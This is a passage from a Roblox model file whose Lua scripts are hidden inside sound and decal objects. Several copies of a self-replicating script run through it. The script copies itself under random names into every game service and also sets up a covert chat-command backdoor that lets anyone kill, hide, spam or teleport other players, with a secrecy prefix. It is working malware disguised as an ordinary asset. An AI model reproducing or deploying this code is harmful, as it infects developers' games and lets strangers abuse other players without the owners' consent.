if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX446">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX447">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">y3rq</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX448">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">pxd3n5s</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX449">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">7xio8do</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX450">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">mlwjkt6</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
